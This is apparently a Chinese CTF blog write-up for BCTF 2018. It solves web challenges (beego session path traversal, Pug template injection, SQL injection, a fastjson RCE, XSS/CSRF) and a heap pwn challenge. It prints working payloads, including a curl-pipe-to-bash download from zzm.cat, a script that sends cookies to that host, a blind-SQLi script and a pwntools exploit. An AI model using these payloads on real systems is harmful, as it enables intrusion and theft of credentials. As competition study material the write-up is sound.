Tianji's Blog.

bctf2018

Word count: 2,149 / Reading time: 12 min
2018/11/29 Share

Web

checkin

输入不存在的网址时,提示网站采用beego1.7.2。而最新版的beego是1.10.0。

在beego官网,https://beego.me/docs/intro/releases.md,并没有看到beego1.7.2。这时候,到git下载源代码,查找commit log,寻找beego1.7.2到1.10.0之间可能存在的漏洞修复。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
commit 8391d26220d380b9c084ee425af0d3ba30dcc3ab
Merge: f64e6b7 9865779
Author: astaxie <xiemengjun@gmail.com>
Date: Thu Nov 8 23:21:18 2018 +0800

Merge pull request #3383 from LockGit/develop

security question, fix arbitrary file read

commit f193e313a3e8590ba78cde39a9fed39ade956f66
Author: Viktor Vassilyev <lxshadowxkingxl@gmail.com>
Date: Wed Nov 7 20:21:34 2018 +0600

refactor(FileSystem): using single-line if

commit 9ac49281135aa98c9a4ae18024b7ecb36e1865c9
Author: Viktor Vassilyev <lxshadowxkingxl@gmail.com>
Date: Wed Nov 7 20:20:10 2018 +0600

refactor(Template): a detailed description of the error

commit 9865779f149669777ee33aae71cd29c8db8ffd66
Author: lock <lockexit@qq.com>
Date: Wed Nov 7 11:31:27 2018 +0800

security question, fix arbitrary file read

可以看到存在任意文件读漏洞。

去github查看对应的日志https://github.com/astaxie/beego/pull/3383。

1
2
3
4
5
6
7
8
9
When use file type session in the beego framework,Hacker can use "../" modify the sessionID value,

Then directory crossing read any file , So I think beego should check the sessionID before read it.

Some example:

1,https://www.anquanke.com/post/id/163575

2,gogs/gogs#5469

大体如下: go语言session保存在文件中,所谓的sessionid就是文件名,伪造sessionid即可加载伪造的session.

1
2
3
$ apt-get install golang
$ export $GOPATH /home/qianfa/Desktop/pwn/bctf # 随意
$ go get github.com/astaxie/beego/session
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package main
import (
"github.com/astaxie/beego/session"
"log"
)
func main() {
s := make(map[interface{}]interface{})
s["username"] = "admin"
s["UID"] = 1
encoded_s, err:= session.EncodeGob(s)
if err != nil {
log.Fatal(err)
}
log.Printf("%v", encoded_s)
decoded_s, err := session.DecodeGob(encoded_s)
if err != nil {
log.Fatal(err)
}
log.Printf("%v", decoded_s)
}

运行:

1
2
3
qianfa@qianfa:~/Desktop/pwn/bctf$ go run poc.go 
2018/11/29 12:23:05 [14 255 129 4 1 2 255 130 0 1 16 1 16 0 0 61 255 130 0 2 6 115 116 114 105 110 103 12 10 0 8 117 115 101 114 110 97 109 101 6 115 116 114 105 110 103 12 7 0 5 97 100 109 105 110 6 115 116 114 105 110 103 12 5 0 3 85 73 68 3 105 110 116 4 2 0 2]
2018/11/29 12:23:05 map[username:admin UID:1]

将上边的数组转化为文件即可:

上传改文件: the avatar saved to /go/src/github.com/checkin/website/static/img/avatar/qgSlJRUsscLgTbZVLppH.png

1
2
3
4
5
ht@TIANJI:/mnt/c/Users/HT/Desktop/bctf$ curl http://47.95.195.16:9999/admin_panel -H "Cookie: gosessionid=../go/src/github.com/checkin/website/static/img/avatar/qgSlJRUsscLgTbZVLppH.png" | grep -Eo "bctf{.*}"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2396 100 2396 0 0 57868 0 --:--:-- --:--:-- --:--:-- 58439
bctf{Y0Uu_H4CK3d_A_B33G0_W3bs1t3?}

simplevn

首先注册登录:

功能包括输入url然后截图,查看截图,设置模板:

模板内容限制:

1
2
3
4
const checkPUG = (upug) => {
const fileterKeys = ['global', 'require']
return /^[a-zA-z0-9\.]*$/g.test(upug) && !fileterKeys.some(t => upug.toLowerCase().includes(t))
}

存储的时候,添加了#{},造成ssti模板注入,但是注入的内容只能是字母数字和点,还不能包含requireglobal,渲染模板的时候有个要求 : 必须是本机访问

1
2
3
4
5
6
7
8
9
console.log('Generator pug template')
const uid = req.session.user.uid
const body = `#{${upug}}`
console.log('body', body)
const upugPath = path.join('users', utils.md5(uid), `${uid}.pug`)
console.log('upugPath', upugPath)
try {
fs.writeFileSync(path.resolve(config.VIEWS_PATH, upugPath), body)
} catch (err) {

首先通过: file:///etc/passwd

然后查看config.js:

设置模板如下: process.env.FLAGFILENAME,即可得到文件名:5E192BCA-1C3F-4CE8-933C-D8B880D72EAD.txt

最后获取flag:

file:///home/pptruser/app/simplev2/F8F168F9-9BF9-4020-A48C-3791F6DAFB12/5E192BCA-1C3F-4CE8-933C-D8B880D72EAD.txt

截图中并不包含flag,因为页面较长,所以未能显示:

解决方法1:

1
2
3
4
First we tried using Fragment identifier #line=50,100 to make puppeteer skip the first 50 lines but since
puppeteer does not wait for the page to scroll we cannot do that. The app send the request with our
custom http header if we wanted to that gave us a hint the solution in the headers, and yeah there is a
header called Range and you can specify the begging byte offset and the end byte offset.

添加header: TIM截图20181129223840.png

解决方法2:

在提交url截屏的时候有个host的过滤,不过可以用data协议进行绕过,使得host为空串,includes为真,并且可以直接插入标签进行XSS,payload如下:

1
data:text/html,<iframe style='position:absolute;left:0;top:-1500px;background:white;' width=100% height=10000 src=http://47.95.221.26:23333/5E192BCA-1C3F-4CE8-933C-D8B880D72EAD.txt></iframe>

最终得到flag:

babysqlA

1
2
3
export function checkHint (hint) {
return ! / |;|\+|-|\*|\/|<|>|~|!|\d|%|\x09|\x0a|\x0b|\x0c|\x0d|`|gtid_subset|hash|json|st\_|updatexml|extractvalue|floor|rand|exp|json_keys|uuid_to_bin|bin_to_uuid|union|like|sleep|benchmark/ig.test(hint)
}

网站使用webpak打包,所以会有.map文件。

可以看到两个函数:

searchHints中用到的captcha就是从getCaptcha中得到的,于是:

payload: captcha=xxxxxxxx&hint='||GTID_SUBTRACT(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),'a')#

可以看到表明乱码,并且很长,并且由于GTID_SUBSTRACT报错有长度限制,所以,flag可能放在后边,没显示出来,引入REVERSE函数。

payload: captcha=xxxxxxxx&hint='||GTID_SUBTRACT((REVERSE((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))),'a')#

得到flag表明: vhEFfFlLlLaAAaaggIiIIsSSHeReEE

babyweb

search的时候有个sort参数,但是发现sort=current_database()的时候结果正常,然后sort=abc()的时候404,猜测是Postgresql,进一步使用其它函数进行测试,发现sort=pg_ls_dir(‘/proc’)的时候会返回很多结果,sort=pg_ls_dir(‘/proca’)这样就404了,因此可以配合concat和substring进行盲注,例如sort=pg_ls_dir(concat(‘/proc’,substring(‘a’,1,ascii(substring(‘a’,1,1))-97)))这样会返回结果,但是97换成别的就会404,注出密码的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

dic = list("abcdefghijklmnopqrstuvwxyz0123456789_!;~.")
ans = ''
for pos in range(1,50):
for c in dic:
c = ord(c)
data = {'search':'admin','sort':"pg_ls_dir(concat('/proc',substring('a',1,ascii(substring(password,%d,1))-%d))),id" % (pos,c)}
#print(data)
resp = requests.post("http://47.95.235.14:9999/search",data=data).text
if len(resp)>10000:
ans += chr(c)
print(ans)
break

RESTFULAPI接口,结合控制台提示restful api provided by fastjson.,是fastjson的漏洞,网上找exp打就行了,不过Runtime.getRuntime().exec()有的符号不能用(例如|和>)

1
curl zzm.cat:8080/1.txt|bash

1.txt:

1
bash -c {echo,Y3VybCB6em0uY2F0OjgwODAvMS50eHR8YmFzaA==}|{base64,-d}|{bash,-i}

exp:

编译成字节码然后base64:

payload:

相同类型题目: 护网杯easy_web:

SEAFARING1

xss+csrf+sql注入

https://xz.aliyun.com/t/3472#toc-2

robots.txt发现/admin/handle_message.php

post csrf token:

token=<img src=1 onerror=alert(1)>

payload:

1
2
3
4
5
6
<form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php">
<input name="token" value="<svg onload=document.write(atob('PHNjcmlwdD4KbG9jYXRpb249Imh0dHA6Ly96em0uY2F0OjgwODAvP2M9Iitlc2NhcGUoZG9jdW1lbnQuY29va2llKTsKPC9zY3JpcHQ+'))>">
</form>
<script>
document.forms[0].submit();
</script>
1
2
3
4
5
echo PHNjcmlwdD4KbG9jYXRpb249Imh0dHA6Ly96em0uY2F0OjgwODAvP2M9Iitlc2NhcGUoZG9jdW1lbnQuY29va2llKTsKPC9zY3JpcHQ+ | base64 -d
=>
<script>
location="http://zzm.cat:8080/?c="+escape(document.cookie);
</script>

可以获取admin的cookie。

sql注入,真复杂,下次遇到类似题目,趁早复现。

SEAFARING2

load_file读取文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
$re = curl_exec($ch);
curl_close($ch);
return $re;
}
if(!empty($_POST['You_cann0t_guu3s_1t_1s2xs'])){
$url = $_POST['You_cann0t_guu3s_1t_1s2xs'];
curl($url);
}else{
die("Hint: Just for web2! :)");
}
?>

dict扫端口,得到4444端口开启selenium server

参考:http://www.coffeehb.cn/?id=92

以后再说。

Pwn

easiest

fastbin attack 修改 __libc_start_main_got,一开始尝试修改free_got,发现会破坏got头部的两个指针。qword_602008和qword_602010被破坏,会出错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
got.plt:0000000000602000 _got_plt        segment para public 'DATA' use64
.got.plt:0000000000602000 assume cs:_got_plt
.got.plt:0000000000602000 ;org 602000h
.got.plt:0000000000602000 dq offset stru_601E28
.got.plt:0000000000602008 qword_602008 dq 0 ; DATA XREF: sub_400750↑r
.got.plt:0000000000602010 ; __int64 (*qword_602010)(void)
.got.plt:0000000000602010 qword_602010 dq 0 ; DATA XREF: sub_400750+6↑r
.got.plt:0000000000602018 off_602018 dq offset free ; DATA XREF: _free↑r
.got.plt:0000000000602020 off_602020 dq offset puts ; DATA XREF: _puts↑r
.got.plt:0000000000602028 off_602028 dq offset fread ; DATA XREF: _fread↑r
.got.plt:0000000000602030 off_602030 dq offset __stack_chk_fail
.got.plt:0000000000602030 ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0000000000602038 off_602038 dq offset setbuf ; DATA XREF: _setbuf↑r
.got.plt:0000000000602040 off_602040 dq offset system ; DATA XREF: _system↑r
.got.plt:0000000000602048 off_602048 dq offset printf ; DATA XREF: _printf↑r
.got.plt:0000000000602050 off_602050 dq offset alarm ; DATA XREF: _alarm↑r
.got.plt:0000000000602058 off_602058 dq offset __libc_start_main
.got.plt:0000000000602058 ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000602060 off_602060 dq offset strtol ; DATA XREF: _strtol↑r
.got.plt:0000000000602068 off_602068 dq offset malloc ; DATA XREF: _malloc↑r
.got.plt:0000000000602070 off_602070 dq offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0000000000602078 off_602078 dq offset __isoc99_scanf
.got.plt:0000000000602078 ; DATA XREF: ___isoc99_scanf↑r
.got.plt:0000000000602080 off_602080 dq offset exit ; DATA XREF: _exit↑r
.got.plt:0000000000602080 _got_plt ends
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

debug = int(raw_input("debug:"))

elf = ELF("./easiest")

if debug:
p = process("./easiest")
context.log_level = "debug"
else:
p = remote("39.96.9.148", 9999)
context.log_level = 'debug'

def add(index, length, content):
p.sendlineafter("delete", "1")
p.sendlineafter(":", str(index))
p.sendlineafter("Length:", str(length))
p.sendafter("C:", content)

def delete(index):
p.sendlineafter("delete", "2")
p.sendlineafter(":", str(index))

size = 0x30
add(0, size, "a" + "\n")
add(1, size, "b" + "\n")
add(2, size, "c" + "\n")
add(3, size, "a" + "\n")
add(4, size, "a" + "\n")

delete(3)
delete(0)
delete(1)
delete(0)

sys_addr = 0x400946
print hex(elf.got['__libc_start_main'])
add(0, size, p64(elf.got['__libc_start_main'] - 0x1e) + "\n")
add(1, size, "b" + "\n")
if debug:
attach(p)
add(5, size, "d" * 3 + p64(sys_addr) + "\n")
add(6, size, "a" * 0xe + p64(sys_addr) + p64(sys_addr)[0:7] + "\n")
p.interactive()
CATALOG
  1. 1. Web
    1. 1.1. checkin
    2. 1.2. simplevn
    3. 1.3. babysqlA
    4. 1.4. babyweb
    5. 1.5. SEAFARING1
    6. 1.6. SEAFARING2
  2. 2. Pwn
    1. 2.1. easiest